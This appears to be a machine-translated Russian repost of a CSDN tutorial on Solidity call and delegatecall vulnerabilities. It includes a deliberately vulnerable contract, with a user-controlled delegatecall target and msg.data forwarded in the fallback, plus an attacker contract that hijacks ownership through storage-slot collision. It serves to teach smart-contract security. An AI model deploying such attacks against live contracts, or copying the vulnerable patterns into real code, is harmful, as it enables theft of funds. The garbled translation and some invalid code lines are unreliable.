Принцип уязвимости выполнения кода Solidity

Оглавление

1. Три метода вызова

2. Два типа параметров вызова

3. Сценарии уязвимости

3.1 вызов делегата

3.2 звонок


1. Три метода вызова

Контракт может вызывать функции других контрактов в Solidity тремя способами:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1) вызов()

call — наиболее часто используемый метод вызова. Внешний контекст вызова — этоконтракт вызываемого объекта, что означает, что среда выполнения вызываемый После вызова значение встроенной переменной msg будет изменено в соответствии с рабочей средой вызывающего объекта.

2) вызов делегата()

Внешний контекст вызова delegatecall — этоконтракт вызывающего объекта, что означает, что средой выполнения является среда выполнения вызывающего объекта. вызов, встроенная переменная msg. Значение не изменяется для вызывающей стороны.

3) код вызова()

Внешним контекстом вызова кода вызова являетсяконтракт вызывающего объекта, что означает, что средой выполнения является рабочая среда вызывающего объекта, а встроенная в переменной msg находится после вызова. Значение будет изменено для вызывающей стороны

2. Два типа параметров вызова

В функцию вызова передаются два типа параметров:

1) Сигнатура функции

Сигнатура функции = имя функции + (список типов параметров), uint и int должны быть записаны как uint256 и int256.

func(uint arg1, int arg2)  ==>  func(uint256,int256)

 Метод вызова:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

msg.data

msg.data  — это глобальная переменная Solidity. Значением является полная информация о вызове (данные, передаваемые при вызове функции). Первые 4 байта — это селектор функции. Каждое значение следующих параметров будет преобразовано в шестнадцатеричную строку фиксированной длины длиной 32 байта. Если имеется несколько параметров, они объединяются вместе.

Как показано на рисунке, значение параметра Three_call совпадает со значением msg.data.

2) Селектор функций

Селектор функции: первые 4 байта хеша Keccak сигнатуры функции, за которыми следуют параметры.

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. Сценарии уязвимости

Необходимые знания: хранилище EVM

В одном контрактеПеременные состояния хранятся в хранилище и будут храниться в слоте карты в порядке объявления

contract A{
    address owner;
    B addrB;
}

3.1 вызов делегата

Изменения в вызове делегата

Когда и контракт A, и контракт C имеют переменные состояния, если функция, вызываемая делегированием, изменяет значение первой переменной состояния контракта C, то фактически изменяется значение первой переменной состояния в контракте A, которая является слотом 0. контракта А. Владелец государственной переменной в

Сценарий уязвимости:

  • Адрес вызова делегата является управляемым, а переменные состояния контракта вызывающей стороны могут быть изменены.
  • Параметры Delegatecall являются управляемыми и могут выполнять конфиденциальные функции вызываемого контракта. Например, в качестве параметра Delegatecall используется msg.data.
pragma solidity ^0.4.23;
// 合约 A
contract A{
    address owner;
    B addrB;
    
    constructor() {
       owner = msg.sender; 
    }
    
    function changeOwner(address _newOwner) public {
       require(msg.sender == owner); 
       owner = _newOwner;    
    }
    
    function setB(B addr) public {
        addrB = addr;
    }
    
    // vuln1:delegatecall 地址可控
    function vuln1(address _contract) public {
        _contract.delegatecall(abi.encodeWithSignature("func()"));
    }
    
    // vuln2:delegatecall 参数可控
    function() public{
        addrB.delegatecall(msg.data);
    }
}

// 合约 B
contract B {
    address public owner;

    function init() public  {
        owner = msg.sender;
    }
}

Контракт на атаку

pragma solidity ^0.4.23;
import "./A.sol";

contract Attacker{
    address public owner;

    // 攻击 vuln1
    function func() public {
       // 修改合约 A 状态变量 owner
       owner = msg.sender;    
    }

    function attack_vuln2(address addrA) public {
       // 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
       // 而此时 msg.data 的前4个字节就是 init 函数选择器,
       // 进而执行了合约 B 的 init 函数
       // A(addrA).init();    
       addrA.call(abi.encodeWithSignature("init()"));
    }
}

3.2 звонок

При использовании вызова для вызова функции другого контракта средой выполнения является среда выполнения вызываемого контракта, а также изменяются переменные состояния вызываемого контракта. Создание экземпляров других контрактов внутри контракта эквивалентно вызову вызова.

Сценарий уязвимости вызова аналогичен сценарию вызова делегата:

  • адрес вызова является управляемым: выполнить одноименную функцию любого адресного контракта
  • Параметр вызова является управляемым: выполнить любую функцию контракта по этому адресу.
    • Сигнатурой вызывающей функции можно управлять.
    • Параметры вызывающей функции можно контролировать.

Особенность EVM: EVM не имеет процесса проверки номера параметра при получении параметров.Он принимает значения спереди назад.После получения достаточного количества параметров он обрезает лишние параметры в конце, и при этом об ошибках не будет сообщаться. этапы компиляции и запуска.

Следующим образом: Следующие параметры 4 и 5 будут усечены.

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

рекомендация

отblog.csdn.net/SHELLCODE_8BIT/article/details/134993896